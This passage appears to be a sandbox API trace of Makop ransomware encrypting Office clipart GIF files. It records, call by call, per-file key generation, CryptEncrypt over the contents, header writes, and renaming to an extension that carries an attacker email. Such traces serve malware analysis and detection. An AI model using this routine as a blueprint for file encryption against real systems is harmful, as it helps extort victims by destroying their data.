dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.049] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.049] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe1d, lpOverlapped=0x0) returned 1 [0156.050] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe20) returned 1 [0156.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.050] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe20, lpOverlapped=0x0) returned 1 [0156.050] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.050] SetEndOfFile (hFile=0x130) returned 1 [0156.057] GetProcessHeap () returned 0x48a0000 [0156.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.057] GetProcessHeap () returned 0x48a0000 [0156.057] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.057] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.058] CloseHandle (hObject=0x130) returned 1 [0156.059] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0156.059] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned 76 [0156.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.061] GetProcessHeap () returned 0x48a0000 [0156.062] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.062] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.062] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.066] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.066] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.066] GetProcessHeap () returned 0x48a0000 [0156.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.066] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.066] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.066] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.066] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.067] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x38c, lpOverlapped=0x0) returned 1 [0156.068] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x390, dwBufLen=0x390 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x390) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x390, lpOverlapped=0x0) returned 1 [0156.068] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] SetEndOfFile (hFile=0x130) returned 1 [0156.076] GetProcessHeap () returned 0x48a0000 [0156.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.076] GetProcessHeap () returned 0x48a0000 [0156.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.076] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.080] CloseHandle (hObject=0x130) returned 1 [0156.080] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0156.081] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned 76 [0156.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.083] GetProcessHeap () returned 0x48a0000 [0156.083] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.083] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.083] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0156.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.088] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.088] GetProcessHeap () returned 0x48a0000 [0156.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.088] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.088] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.088] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.088] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.088] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.088] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.089] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.089] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.089] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x987, lpOverlapped=0x0) returned 1 [0156.089] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x990, dwBufLen=0x990 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x990) returned 1 [0156.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.090] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x990, lpOverlapped=0x0) returned 1 [0156.090] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.090] SetEndOfFile (hFile=0x130) returned 1 [0156.097] GetProcessHeap () returned 0x48a0000 [0156.097] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.097] GetProcessHeap () returned 0x48a0000 [0156.097] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.097] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.099] CloseHandle (hObject=0x130) returned 1 [0156.099] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0156.099] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned 76 [0156.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.100] GetProcessHeap () returned 0x48a0000 [0156.100] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.100] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.100] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0156.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.104] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.105] GetProcessHeap () returned 0x48a0000 [0156.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.105] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.105] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.105] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.105] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.105] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.105] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.106] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.106] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.107] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x37d, lpOverlapped=0x0) returned 1 [0156.107] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x380, dwBufLen=0x380 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x380) returned 1 [0156.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.107] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x380, lpOverlapped=0x0) returned 1 [0156.107] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.107] SetEndOfFile (hFile=0x130) returned 1 [0156.113] GetProcessHeap () returned 0x48a0000 [0156.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.114] GetProcessHeap () returned 0x48a0000 [0156.114] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.114] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.115] CloseHandle (hObject=0x130) returned 1 [0156.115] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0156.115] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned 76 [0156.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.116] GetProcessHeap () returned 0x48a0000 [0156.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.116] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.117] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0156.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.120] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.120] GetProcessHeap () returned 0x48a0000 [0156.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.120] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.120] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.121] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.121] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.121] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.121] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.121] SetFilePointerEx (in: hFile=0x130, 